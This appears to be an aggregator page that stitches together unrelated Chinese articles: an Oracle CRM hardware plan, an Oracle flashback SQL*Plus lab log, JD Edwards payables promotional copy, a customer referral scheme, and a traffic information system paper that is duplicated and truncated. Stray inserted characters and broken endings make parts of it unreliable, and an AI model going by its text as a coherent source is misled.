客户信息系统之Oracle方案(精选9篇)由网友“在逃麻薯”投稿提供,下面是小编整理过的客户信息系统之Oracle方案,欢迎您能喜欢,也请多多分享。
篇1:客户信息系统之Oracle方案
适用行业
各行业用户,中型企业
需求分析
用户提出信息管理服务器的需求:
运行7x24的核心业务应用(core business) 要求 系统的稳定性与可靠性。
作为数据中心的核心服务器 要求系统的性能扩 展与灵活性。
作为企业的长期投资项目 要求系统的投资保护 和投资回报。
合理有效地利用系统资源 要求系统管理工具 好用、实用。
对系统分区的期待。
需要对复杂系统的支持与维护的机制。
要求全方位系统支持服务。
用户对系统升级方案的要求:
(1)平台要求:
管理系统数据库服务器。系统数据库服务器运行oracle 8i enterprise edition 、oracle application 11.5.4、workflow2.5,预计有 1000(700并发用户)用户使用oracle 应用系统;要求管理系统数据库服务器的 tpc-c值应高于:40,000 tpm 。
管理系统应用服务器。管理系统应用服务 器运行developer6i(forms server,reports server,graphics 6i)、apache server 1.3.9、oracle jre 1.1.8,预计有1000 (700并发用户)用户使用oracle应用系 统;要求管理系统应用服务器的tpc-c 值应高于:42,000 tpm。
信贷综合管理系统数据库服务器。信贷综合管理系统数据库服务器运行oracle, 预计1000个数据库连接;要求信贷综合管理系统数据库服务器的tpc-c值应高于 360,000 tpm。
信贷综合管理系统application服务器。 信贷综合管理系统application服务器,预计个并发用户;要求信贷综合管理系统application服务器的tpc-c值应高于 320,000 tpm,采用双机运行,每台app服务器的tpc-c值应高于160,000 tpm。
(2) 存储要求:
管理系统数据库服务器
管理系统数据的存储容量大约在150gb。
一般从业务数据的安全性和稳定性出发,建议数据库服务器预留15%的空间,以应付数据膨胀、系统日志消耗等情况。所以管理系统的存储可用 容量配置为:150gb/0.85 = 177gb。
从保存数据的高可靠性方面考虑,存储设备要采用raid技术保存数据,raid 0/1后,系统存储容量要冗余50%左右,则某银行管理系统的存 储设备配置容量(裸盘容量)至少为: 177 gb/0.5= 354gb。
具体实施
本方案使用的是hp proliant ml570服务器构建中型企业客户信息系统crm(中型数据库应用)。
随着网络流量的不断加大,原有的服务器已经不堪重负,hp proliant ml570的出现则满足了今天对电子商务的需求,它具有最大的升级性、高 性能和高可用性。其采用最为先进的4 路intel xeon处理器,为企业应用带来了更好的性能。 同时具有更好的可用性,如先进的ecc内存技 术,热插拔冗余电源模块、网卡、风扇、硬盘 等,使宕机时间减至最低。hp proliant ml570 可满足所有企业级用户的数据存储需求,在4u 高度的服务器中可支持4块热插拔硬盘,内存可 扩至32gb。hp proliant ml570采用新的机箱设 计,这样更易维护而无需借助工具。新的led指 示灯和内置诊断显示可帮助故障诊断。
对于一些应用比较复杂的用户,所使用的数据库 系统占用系统资源比较多,因此需要更加强大的 处理能力,可以考虑使用hp的proliant dl740 和dl760服务器。
模拟配置:
处理器:双路以上至强处理器,2.8ghz主频
内 存:至少16gb
硬 盘: 4块以上scsi硬盘,可做raid5,硬盘转速 10000转以上
网 络:2块千兆网卡(支持捆绑)存储
首选服务器: hp proliant ml570(服务器支持外置存储) 存储器支持san架构的可扩展存储
首选存储器: hp storageworks modular san array (msa1000)
后期收益
对于本方案中的中型企业用户,客户资源的信息储备与查询同样重要。所以,在系统服务器选择上,我们发现,它既保证了服务器强大的数据处理能力,并能持久地保持稳定的运行状态,同时也在存储磁盘上增强了其扩展性与安全保护能力。因此,该方案的实施可以让用户最终得到一个稳定与性能并存的操作平台,同时它也便于系统的维护与数据管理。
应用设备
hp proliant ml570/dl740/dl760服务器
篇2:oracle之flashback深入研究
oracle之flashback深入研究
今天是-08-24,开始进行oracle flashback 内部原理研究,记录一下笔记,
SQL>startup
ORACLE instance started.
Total System Global Area 405020672 bytes
Fixed Size 2213816 bytes
Variable Size 260048968 bytes
Database Buffers 138412032 bytes
Redo Buffers 4345856 bytes
Database mounted.
Database opened.
SQL>
SQL>select * from t1;
ID SAL JOB
---------- ---------- ----------
1 9 z
1 2 a
2 3 b
3 4 c
1 3 b
2 1 a
D
7 rows selected.
SQL>select xidusn,ubafil,ubablk from v$transaction;
no rows selected
SQL>delete from t1 where id=3;
1 row deleted.
SQL>select xidusn,ubafil,ubablk from v$transaction;
XIDUSN UBAFIL UBABLK
---------- ---------- ----------
17 8 2583
SQL>alter system dump datafile 8 block 2583;
System altered.
SQL>set vlaue for a60
SP2-0158: unknown SET option “vlaue”
SQL>col value for a60
SQL>set linesize 200
SQL>select * from v$diag_info where name='Default Trace File';
INST_ID NAME VALUE
---------- ---------------------------------------------------------------- ------------------------------------------------------------
1 Default Trace File /opt/app/oracle/diag/rdbms/rhys/RHYS/trace/RHYS_ora_1801.trc
SQL>commit;
Commit complete.
UNDO BLK:
xid: 0x0011.019.000000b4 seq: 0x23c cnt: 0x46 irb: 0x46 icl: 0x0 flg: 0x0000
Rec Offset Rec Offset Rec Offset Rec Offset Rec Offset
---------------------------------------------------------------------------
0x01 0x1f90 0x02 0x1f4c 0x03 0x1ef4 0x04 0x1eb0 0x05 0x1e58
0x06 0x1e14 0x07 0x1dbc 0x08 0x1d78 0x09 0x1d20 0x0a 0x1cdc
0x0b 0x1c84 0x0c 0x1c40 0x0d 0x1be8 0x0e 0x1ba4 0x0f 0x1b4c
0x10 0x1b08 0x11 0x1ab0 0x12 0x19d0 0x13 0x18f0 0x14 0x1868
0x15 0x1800 0x16 0x1794 0x17 0x1620 0x18 0x1508 0x19 0x1480
0x1a 0x1414 0x1b 0x13a8 0x1c 0x1224 0x1d 0x119c 0x1e 0x1134
0x1f 0x10c8 0x20 0x0f4c 0x21 0x0edc 0x22 0x0e54 0x23 0x0de8
0x24 0x0d7c 0x25 0x0d38 0x26 0x0ca0 0x27 0x0c14 0x28 0x0bd0
0x29 0x0b74 0x2a 0x0b18 0x2b 0x0ad4 0x2c 0x0a78 0x2d 0x0a1c
0x2e 0x09d8 0x2f 0x097c 0x30 0x0920 0x31 0x08dc 0x32 0x0880
0x33 0x0824 0x34 0x07dc 0x35 0x0778 0x36 0x071c 0x37 0x06d8
0x38 0x067c 0x39 0x0620 0x3a 0x05dc 0x3b 0x0580 0x3c 0x0524
0x3d 0x04e0 0x3e 0x0484 0x3f 0x0428 0x40 0x0340 0x41 0x02b4
0x42 0x0250 0x43 0x01e8 0x44 0x016c 0x45 0x0114 0x46 0x00d0
*-----------------------------
* Rec #0x22 slt: 0x19 objn: 468(0x000001d4) objd: 468 tblspc: 1(0x00000001)
* Layer: 11 (Row) opc: 1 rci 0x00
Undo type: Regular undo Begin trans Last buffer split: No
Temp Object: No
Tablespace Undo: No
rdba: 0x00000000Ext idx: 0
flg2: 0
*-----------------------------
uba: 0x02000a17.023c.21 ctl max scn: 0x0000.00a82f35 prv tx scn: 0x0000.00a82f6f
txn start scn: scn: 0x0000.00a83315 logon user: 0
prev brb: 33580056 prev bcl: 0
KDO undo record:
KTB Redo
op: 0x04 ver: 0x01
compat bit: 4 (post-11) padding: 1
op: L itl: xid: 0x0010.000.000000cb uba: 0x0433.024f.39
flg: C--- lkc: 0 scn: 0x0000.00a832c7
KDO Op code: DRP row dependencies Disabled
xtype: XA flags: 0x00000000 bdba: 0x0080f7a9 hdba: 0x0080039a
itli: 1 ispac: 0 maxfr: 4858
tabn: 0 slot: 27(0x1b)
SQL>select to_number('a82f35','xxxxxxxxxxxxxxxx') sc from dual;
SC
----------
11022133
SQL>select current_scn from v$database;
CURRENT_SCN
-----------
11054748
SQL>
注意:闪回查询和undo_retention有直接关系;
eg:
SQL>update t1 set job='ab' where id=1;
3 rows updated.
SQL> select versions_starttime,versions_endtime,versions_xid,versions_operation,id,sal from t1 versions between timestamp minvalue and maxvalue
2 ;
VERSIONS_STARTTIME VERSIONS_ENDTIME VERSIONS_XID V ID SAL
--------------------------------------------------------------------------- -------------------- ---------------- - ---------- ----------
1 9
1 2
2 3
1 3
2 1
6 rows selected.
SQL>show parameter undo
NAME TYPE VALUE
------------------------------------ ----------- ------------------------------
_optimizer_undo_cost_change string 11.2.0.1
_undo_autotune boolean FALSE
undo_management string AUTO
undo_retention integer 60
undo_tablespace string UNDOTBS3
SQL>alter system set undo_retention=1800;
System altered.
SQL>select versions_starttime,versions_endtime,versions_xid,versions_operation,id,sal from t1 versions between timestamp minvalue and maxvalue;
VERSIONS_STARTTIME VERSIONS_ENDTIME VERSIONS_XID V ID SAL
--------------------------------------------------------------------------- -------------------- ---------------- - ---------- ----------
1 9
24-AUG-13 09.49.38 PM 11000300BF000000 D 3 4
1 2
2 3
24-AUG-13 09.49.38 P 3 4
M
1 3
2 1
8 rows selected.
1)闪回查询:
SQL>select * from t1 ;
ID SAL JOB
---------- ---------- ----------
1 9 z
1 2 a
2 3 b
1 3 b
2 1 a
D
6 rows selected.
SQL>select * from t1 as of scn 11022133;
ID SAL JOB
---------- ---------- ----------
1 2 a
2 3 b
3 4 c
1 3 b
2 1 a
D
6 rows selected.
SQL>
2)闪回版本查询:
SQL>r
1* select * from t1
ID SAL JOB
---------- ---------- ----------
1 9 ab
1 2 ab
2 3 b
1 3 ab
2 1 a
D
6 rows selected.
SQL>delete from t1 where id=1;
3 rows deleted.
SQL>commit;
Commit complete.
SQL>select versions_startscn,versions_endscn,versions_xid,versions_operation,id,sal,job from t1 versions between scn minvalue and maxvalue;
VERSIONS_STARTSCN VERSIONS_ENDSCN VERSIONS_XID V ID SAL JOB
----------------- --------------- ---------------- - ---------- ---------- ----------
11144497 0D001600D8000000 D 1 9 z
11144497 1 9 z
11144497 0D001600D8000000 D 1 3 b
11144497 0D001600D8000000 D 1 2 a
11054404 11000300BF000000 D 3 4 c
11144497 1 2 a
2 3 b
11054404 3 4 c
11144497 1 3 b
2 1 a
D
11 rows selected.
SQL>
SQL>
然后我们更具versions_xid找到相应的事务
3)事务查询;
借助flashback_transaction_query这个视图;
首先看一下 这个视图结构;
SSQL>desc flashback_transaction_query;
Name Null? Type
----------------------------------------------------------------------------------------------------------------- -------- ----------------------------------------------------------------------------
XID RAW(8)
START_SCN NUMBER
START_TIMESTAMP DATE
COMMIT_SCN NUMBER
COMMIT_TIMESTAMP DATE
LOGON_USER VARCHAR2(30)
UNDO_CHANGE# NUMBER
OPERATION VARCHAR2(32)
TABLE_NAME VARCHAR2(256)
TABLE_OWNER VARCHAR2(32)
ROW_ID VARCHAR2(19)
UNDO_SQL VARCHAR2(4000)
SQL>
然后我们进行一次查询:
eg:
SQL>conn rhys/root
Connected.
SQL>select * from t1;
ID SAL JOB
---------- ---------- ----------
2 3 b
3 1 a
D
1 1 ab
SQL>delete from t1 where id=1;
1 row deleted.
SQL>commit;
Commit complete.
SQL>select versions_startscn,versions_endscn,versions_xid,versions_operation,id,sal,job from t1 versions between scn minvalue and maxvalue;
VERSIONS_STARTSCN VERSIONS_ENDSCN VERSIONS_XID V ID SAL JOB
----------------- --------------- ---------------- - ---------- ---------- ----------
11166640 13000A00D9000000 U 3 1 a
2 3 b
11166640 2 1 a
D
11187698 13001300DB000000 D 1 1 ab
11166640 11187698 13000A00D9000000 I 1 1 ab
6 rows selected.
SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='13000A00D9000000';
select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='13000A00D9000000'
*
ERROR at line 1:
ORA-01031: insufficient privileges
SQL>conn sys/root as sysdba
Connected.
SQL>select current_scn from v$database;
CURRENT_SCN
-----------
11187761
SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='13001300DB000000';
XID LOGON_USER START_SCN OPERATION
---------------- ------------------------------ ---------- --------------------------------
TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
ROW_ID
-------------------
UNDO_SQL
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
13001300DB000000 RHYS 0 UNKNOWN
T1
XID LOGON_USER START_SCN OPERATION
---------------- ------------------------------ ---------- --------------------------------
TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
ROW_ID
-------------------
UNDO_SQL
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
13001300DB000000 RHYS 0 BEGIN
SQL>
但是没有任何undo_sql,查看网络发现如下:
#这里执行这个语句的意思是追加日志
supplemental logging 的定义 :
redo log一般用于实例恢复及介质恢复,
在redo log中这些数据被自动记录。不过一些
基于redo的application可能在redo log中记录额外的一些列。 这种记录额外列的过程
被称为supplemental logging
缺省情况下,数据库没有打开对supplemental logging的支持。
然后重新做实验如下:
SQL>alter database add supplemental log data;
Database altered.
SQL>select * from t1;
ID SAL JOB
---------- ---------- ----------
2 3 b
2 1 a
D
SQL>update t1 set id=3 where job='D';
1 row updated.
SQL>commit;
Commit complete.
SQL>select versions_startscn,versions_endscn,versions_xid,versions_operation,id,sal,job from t1 versions between scn minvalue and maxvalue;
VERSIONS_STARTSCN VERSIONS_ENDSCN VERSIONS_XID V ID SAL JOB
----------------- --------------- ---------------- - ---------- ---------- ----------
11144497 0D001600D8000000 D 1 9 z
11144497 1 9 z
11211146 0B001600DF000000 U 3 D
11144497 0D001600D8000000 D 1 3 b
11144497 0D001600D8000000 D 1 2 a
11144497 1 2 a
2 3 b
11144497 1 3 b
2 1 a
11211146 D
10 rows selected.
SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='0B001600DF000000';
^CERROR:
ORA-01013: user requested cancel of current operation
no rows selected
SQL>set timing on
SQL>r
1* select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='0B001600DF000000'
XID LOGON_USER START_SCN OPERATION
---------------- ------------------------------ ---------- --------------------------------
TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
ROW_ID
-------------------
UNDO_SQL
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0B001600DF000000 SYS 11211144 UPDATE
T1
AAASCgAAFAAAACHAAF
update “SYS”.“T1” set “ID” = NULL where ROWID = 'AAASCgAAFAAAACHAAF';
XID LOGON_USER START_SCN OPERATION
---------------- ------------------------------ ---------- --------------------------------
TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
ROW_ID
-------------------
UNDO_SQL
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0B001600DF000000 SYS 11211144 BEGIN
Elapsed: 00:03:40.77
SQL>
可以看到sql了。
那么之前的事务是不是也能自动再重新记录sql呢?答案是否定的如下:
SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid=hextoraw('13001300DB000000');
XID LOGON_USER START_SCN OPERATION TABLE_NAME ROW_ID UNDO_SQL
---------------- ------------------------------ ---------- -------------------------------- -------------------------------------------------------------------------------- ------------------- --------------------------------------------------------------------------------
13001300DB000000 RHYS 0 UNKNOWN T1
13001300DB000000 RHYS 0 BEGIN
Executed in 0.063 seconds
SQL>
另外一个问题就来了,这个查询过程也忒慢了吧。因为xid为raw类型。这时候为了提高查询速度使用hextoraw进行转换,使用内部索引来提高查询速度。
eg:
SQL>set autotrace on
SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid=hextoraw('0B001600DF000000');
XID LOGON_USER START_SCN OPERATION
---------------- ------------------------------ ---------- --------------------------------
TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
ROW_ID
-------------------
UNDO_SQL
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0B001600DF000000 SYS 11211144 UPDATE
T1
AAASCgAAFAAAACHAAF
update “SYS”.“T1” set “ID” = NULL where ROWID = 'AAASCgAAFAAAACHAAF';
XID LOGON_USER START_SCN OPERATION
---------------- ------------------------------ ---------- --------------------------------
TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
ROW_ID
-------------------
UNDO_SQL
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0B001600DF000000 SYS 11211144 BEGIN
Elapsed: 00:00:00.03
Execution Plan
----------------------------------------------------------
Plan hash value: 1747778896
---------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time |
---------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | 2197 | 0 (0)| 00:00:01 |
|* 1 | FIXED TABLE FIXED INDEX| X$KTUQQRY (ind:1) | 1 | 2197 | 0 (0)| 00:00:01 |
---------------------------------------------------------------------------------------------
Predicate Information (identified by operation id):
---------------------------------------------------
1 - filter(“XID”=HEXTORAW('0B001600DF000000') )
Statistics
----------------------------------------------------------
36 recursive calls
1 db block gets
51 consistent gets
0 physical reads
0 redo size
1139 bytes sent via SQL*Net to client
523 bytes received via SQL*Net from client
2 SQL*Net roundtrips to/from client
3 sorts (memory)
0 sorts (disk)
2 rows processed
SQL>
对比一下:
SQL>select xid,logon_user,start_scn,operation,table_name,row_id,undo_sql from flashback_transaction_query where xid='0B001600DF000000';
XID LOGON_USER START_SCN OPERATION
---------------- ------------------------------ ---------- --------------------------------
TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
ROW_ID
-------------------
UNDO_SQL
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0B001600DF000000 SYS 11211144 UPDATE
T1
AAASCgAAFAAAACHAAF
update “SYS”.“T1” set “ID” = NULL where ROWID = 'AAASCgAAFAAAACHAAF';
XID LOGON_USER START_SCN OPERATION
---------------- ------------------------------ ---------- --------------------------------
TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
ROW_ID
-------------------
UNDO_SQL
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0B001600DF000000 SYS 11211144 BEGIN
Elapsed: 00:03:51.14
Execution Plan
----------------------------------------------------------
Plan hash value: 1115820779
------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time |
------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | 2197 | 0 (0)| 00:00:01 |
|* 1 | FIXED TABLE FULL| X$KTUQQRY | 1 | 2197 | 0 (0)| 00:00:01 |
------------------------------------------------------------------------------
Predicate Information (identified by operation id):
---------------------------------------------------
1 - filter(RAWTOHEX(“XID”)='0B001600DF000000')
Statistics
----------------------------------------------------------
2936981 recursive calls
10 db block gets
3772792 consistent gets
14256 physical reads
0 redo size
1139 bytes sent via SQL*Net to client
523 bytes received via SQL*Net from client
2 SQL*Net roundtrips to/from client
731820 sorts (memory)
0 sorts (disk)
2 rows processed
SQL>
这就是闪回查询,闪回版本查询,闪回事务查询。
篇3:Oracle应付账款管理方案
问题:应付账款管理——不仅是支付账单
改善供应商关系
准确处理发票
有效管理现金流
企业的应付账款管理人员的责任不只是简单地支付账单,他们也要通过确保所有的交货、付款和合同条款的履行,来帮助构建良好的供应商关系。他们管理发票处理流程,以保证及时性和准确性。而且他们还要通过有针对性地使用发票折扣和战术性地选择现金流支出时间来增加盈利。要做到有效地平衡供应商的需求、支付条款、折扣和现金管理, 企业需要一套灵活和适应性强的系统对整个应付账款处理流程进行优化。
解决方案:一个灵活的集成化应付账款管理系统
Oracle JD Edwards EnterpriseOne应付账款管理系统提供了企业简化和个性化其应付账款运作所需的集成功能和灵活性。企业通过准确、及时地履行支付义务,加强了和供应商之间的关系。此外,利用自动的折扣计算和预付款支持功能,企业能够确保现金管理既高效又富有成效。
改进供应商关系
灵活性对于企业满足供应商的独特需求至关重要,应付账款管理系统则提供了各种工具帮助机构建立和维护个性化、高效的供应商合作伙伴关系。EnterpriseOne能支持各种付款条款并确保识别各种偏好,无论供应商是喜欢电子资金转账(ETFs)、汇款,还是支票支付方式。企业可以处理预付、特殊信息和多种货币支付请求。此外,供应商还可利用自助服务功能来审查应付帐款系统的凭证和付款,从而使企业及其供应商节省大量时间。
谈判获得更有利的供应商合同
集成提高了可视性。利用EnterpriseOne,机构可以按供应商访问账户余额和全部采购信息——并借助这一宝贵的信息来充分利用机构的采购能力获得更优惠的合同条款和条件,
更有利的合同定价不但能够实实在在地节省资金,而且为盈利性的长期供应商合作伙伴关系奠定基础。
建立敏捷、高效的发票处理
利用应付账款管理系统,机构会具有很大的灵活性来满足其独特的业务要求——无论是处理多种经常性发票,还是高额的预付款。该系统会根据预先设定自动计算税款、折扣和汇率。
这一功能使机构能够充分利用折扣优惠并根据合同条款向供应商付款,而不会中断应付账款处理过程。
JD Edwards EnterpriseOne支持各种不同的支付方式,包括电子资金转账、汇款和支票供机构选择。机构甚至可以建立多个银行账号以实现特定货币结算或利用银行提供的特殊折扣。而且,对于全球性的组织,EnterpriseOne还可满足其多种货币和多种语言的需要。
由于在整个应付账款管理系统中存在许多控制点,所以您可以选择有可能重复开发票时获得通知的方式——初步预警或者升级报警。前瞻性地检查具有相同号码的发票可以减少混乱、加强控制和帮助防止重复支付。
有效的现金管理
一种有效的现金管理方法是通过采用供应商偏好的支付方式, 来最大限度地获得折扣优惠。应付账款管理系统使企业能够在向供应商付款之前考虑多种(实际上数目不受限制)可变因素,包括付款期限,提供的折扣和库存现金数量。
无论您是自动支付凭证,还是手工支付,其结果总是可控,有效和准确的。根据当前的现金需求, 您可以组织凭证,利用应付账款管理系统来处理支付或选择手工支付、分批支付或部分支付凭证。在线查询功能允许您在授权付款之前对供应商逐个快速审查信息,如结转余额和未结项目。
应付账款管理系统提供及时和准确的现金流信息、账龄信息和折扣机会。通过在线访问实时的供应商信息、付款历史记录和凭证,您能够改进供应商关系,谈判获得更优惠的合同和控制现金流。
篇4:客户回馈之
客户回馈之
客户回馈之“感恩老友”奖赏活动方案
一、活动背景:
目前公司已拥有一定的客户群体,且销售压力增大,增速放缓。
二、活动目的:
1、维系与老客户的友好合作关系,感恩老客户的支持,回馈老客户。
2、拓展新客户的,推广公司项目。
3、缓解销售压力,促进销售速度的目标,推动客户转介活动。
三、活动时间:
7月1日~10月31日
四、活动对象:
所有客户以及订单客户
五、活动方式:
老客户向公司推荐新客户,并且达成成交意向,新客户签订确认书之后,将依据相关成 交情况给予老客户相应奖赏。
六、客户界定
1、老客户:与本项目已签订合同的客户。
2、新客户:在老客户的推荐下,首次了解公司项目,或在对项目有一定了解的基础上, 首次亲临本公司进行咨询,并成功签约的客户。
七、活动内容
1、老客户介绍的新客户是第一次到销售中心,新客户必须填写《好邻居推荐单》 。
2、参加此活动的客户必须是由以老带新的成交的新老客户,自行购买的'新成交客户不在此活动范围内。
3、新老客户必须签订合同,缴清地款。
4、新客户在签订合同后即享有与老客户一样的
网
优惠。八、奖赏方式:
1、“感恩老友”基金(3000元)
2、“好朋友”基金(1000元)
3、代金券(价值500元)
4、“开门大吉”礼包(价值500元)
九、实施细则:
十、推广方式
1、口头告知
在新客户成交时,销售员给其详细介绍“以老带新”的回报
措施,利用首因效果加强其印象,使其成为“以老带新”中的忠实一员。
2、电话告知
活动确定后,销售员分批电话告知其老客户老带新推荐好邻客户群
奖励制度
已签订合同、缴款完毕,并向亲友介绍、推荐;且推荐购买成功的老客户
赠送
“感恩老友”基金3000元,此基金可依据推荐新客户成交的块数,进行累加。
在购买地块半年内动工的客户土地正式启用后赠送“开门大吉”礼包(价值 500元)
居基金活动信息,鼓励其以老带新,并每半个月进行再提醒;
4、在营销中心设置易拉宝介绍“感恩老友”奖赏活动措施及内容
十一、
活动流程:
1、首先填写《好邻居推荐单》
2、销售部负责人签字
3、新客户签约
4、成交后填写并发放老带新的“感恩老友”计划基金
注:推荐成功标志是新、老客户一起在新客户签约时,填写《好邻居推荐单》并 由销售中心主管签字。
篇5:城市交通信息系统结构方案研究
城市交通信息系统结构方案研究
摘要:先进的交通信息系统(ATIS)是智能交通系统的重要组成部分。本文的研究内容是ATIS在中国的结构方案。该文首先分析了交通信息系统在中国的发展情况,阐述了城市交通信息系统的重要性。在总结了国外近年来有关交通信息系统的开发和研究成果后,结合中国在行政管理方面的实际情况,提出了城市交通信息系统的结构方案:一个核心即交通信息中心,交通管理、电子收费、交通诱导、交通信息服务、地理信息、紧急救援、营运车辆管理、车辆安全辅助驾驶八个子系统以及道路交通管理和车辆管理两个数据库,阐述了各子系统的功能。 最后,预测了交通信息系统在中国实施后将产生的积极影响。关键词:智能交通系统 城市 交通信息系统 结构方案
中文分类号:U491 文献标识码:A
1.引言
随着汽车交通运输的发展,交通拥挤、道路阻塞和交通事故频繁发生正越来越严重地困扰着世界上的各大城市。汽车工业发展引发的道路交通不能满足需求的种种交通问题越来越突出。与此同时,除了修建必要的'道路网以外,针对交通事故多发道路,需要紧急确保交通安全的道路,还建设了一系列的交通安全设施,如建设信号机、道路标识、交通指挥中心等有助于交通安全的设施,以期改善道路的交通环境,提高交通的顺畅性,这在一定程度上缓解了交通拥挤状况。但是,交通需求不断增长、交通系统日益复杂,单独从车辆方面或道路方面考虑,均很难有效地解决交通问题。于是,近年来把道路、车辆等,凡与交通有关的所有一切都归为一体,通过采用信息通信技术、电子技术以及其他的科学技术把它们联系起来,致力于使之智能化的智能交通系统(ITS)的研究开发应运而生。
先进的交通信息系统(ATIS)是ITS的重要组成部分,也是发展ITS的基础和关键技术,ATIS是建立在完善的信息网络基础上的,交通参与者通过装备在道路上、车上、换乘站上、停车场上以及气象中心的传感器和传输设备,可以向交通信息中心提供各处的交通信息;中心得到这些信息并通过处理后,实时向交通参与者提供道路交通信息、公共交通信息、换乘信息、交通气象信息、停车场信息以及与出行相关的其他信息;出行者根据这些信息确定自己的出行方式、选择路线。概括地说,交通信息系统就是要收集相关交通信息,分析、传递、提供信息,为出行者在从起点到终点的出行过程中提供实时帮助,使整个出行过程舒适、方便、高效。
近年来,信息技术得到了较快发展,在中国的个别城市,实现了部分开发的城市地图网上地理信息系统,如成都市,但是,目前在国内的各大中城市,综合运用信息网络技术建设相对完善的城市交通信息系统还没有一例。近来,在部分城市的交通管理规划中对交通信息系统有所涉及。如果把城市比作人体,那么,交通信息系统就象一双明亮的眼睛。在高度发达的信息社会,人类虽然有很多获取信息的途径,但是,若有一个完善的系统,能够让人们轻松地获取更多、更方便、更有价值的信息将是非常重要的。作为居民,不管在哪里,他都知道用最短的时间,走最近的路,办最快捷的事;作为一个交通管理者或物流业者,不管在何时,他都能耳聪目明,有的放矢,这一切都势必会对交通产生积极的影响,如缓解城市交通压力、减少环境污染、降低交通事故发生率、节约能源等。因此,研究与实施城市交通信息系统具有重要的理论价值和现实意义。
2.国外交通信息系统研究现状
许多发达国家近年来投入了大量的人力、物力和财力对先进的交通信息系统进行研究、试验和开发。下面就欧洲、美国及日本等一些国家有代表性的ATIS作一简要介绍。
2.1&n
[1] [2] [3] [4]
篇6:城市交通信息系统结构方案研究
摘要:先进的交通信息系统(ATIS)是智能交通系统的重要组成部分。本文的研究内容是ATIS在中国的结构方案。该文首先分析了交通信息系统在中国的发展情况,阐述了城市交通信息系统的重要性。在总结了国外近年来有关交通信息系统的开发和研究成果后,结合中国在行政管理方面的实际情况,提出了城市交通信息系统的结构方案:一个核心即交通信息中心,交通管理、电子收费、交通诱导、交通信息服务、地理信息、紧急救援、营运车辆管理、车辆安全辅助驾驶八个子系统以及道路交通管理和车辆管理两个数据库,阐述了各子系统的功能。 最后,预测了交通信息系统在中国实施后将产生的积极影响。
关键词:智能交通系统 城市 交通信息系统 结构方案
中文分类号:U491 文献标识码:A
1.引言
随着汽车交通运输的发展,交通拥挤、道路阻塞和交通事故频繁发生正越来越严重地困扰着世界上的各大城市。汽车工业发展引发的道路交通不能满足需求的种种交通问题越来越突出。与此同时,除了修建必要的道路网以外,针对交通事故多发道路,需要紧急确保交通安全的道路,还建设了一系列的交通安全设施,如建设信号机、道路标识、交通指挥中心等有助于交通安全的设施,以期改善道路的交通环境,提高交通的顺畅性,这在一定程度上缓解了交通拥挤状况。但是,交通需求不断增长、交通系统日益复杂,单独从车辆方面或道路方面考虑,均很难有效地解决交通问题。于是,近年来把道路、车辆等,凡与交通有关的所有一切都归为一体,通过采用信息通信技术、电子技术以及其他的科学技术把它们联系起来,致力于使之智能化的智能交通系统(ITS)的研究开发应运而生。
先进的交通信息系统(ATIS)是ITS的重要组成部分,也是发展ITS的基础和关键技术,ATIS是建立在完善的信息网络基础上的,交通参与者通过装备在道路上、车上、换乘站上、停车场上以及气象中心的传感器和传输设备,可以向交通信息中心提供各处的交通信息;中心得到这些信息并通过处理后,实时向交通参与者提供道路交通信息、公共交通信息、换乘信息、交通气象信息、停车场信息以及与出行相关的其他信息;出行者根据这些信息确定自己的出行方式、选择路线。概括地说,交通信息系统就是要收集相关交通信息,分析、传递、提供信息,为出行者在从起点到终点的出行过程中提供实时帮助,使整个出行过程舒适、方便、高效。
近年来,信息技术得到了较快发展,在中国的个别城市,实现了部分开发的城市地图网上地理信息系统,如成都市,但是,目前在国内的各大中城市,综合运用信息网络技术建设相对完善的城市交通信息系统还没有一例。近来,在部分城市的交通管理规划中对交通信息系统有所涉及。如果把城市比作人体,那么,交通信息系统就象一双明亮的眼睛。在高度发达的信息社会,人类虽然有很多获取信息的途径,但是,若有一个完善的系统,能够让人们轻松地获取更多、更方便、更有价值的信息将是非常重要的。作为居民,不管在哪里,他都知道用最短的时间,走最近的路,办最快捷的.事;作为一个交通管理者或物流业者,不管在何时,他都能耳聪目明,有的放矢,这一切都势必会对交通产生积极的影响,如缓解城市交通压力、减少环境污染、降低交通事故发生率、节约能源等。因此,研究与实施城市交通信息系统具有重要的理论价值和现实意义。
2.国外交通信息系统研究现状
许多发达国家近年来投入了大量的人力、物力和财力对先进的交通信息系统进行研究、试验和开发。下面就欧洲、美国及日本等一些国家有代表性的ATIS作一简要介绍。
2.1 欧洲的代表性系统
欧洲的代表性系统有:SOCRATES、EURO SCOUT、Trafficmaster。
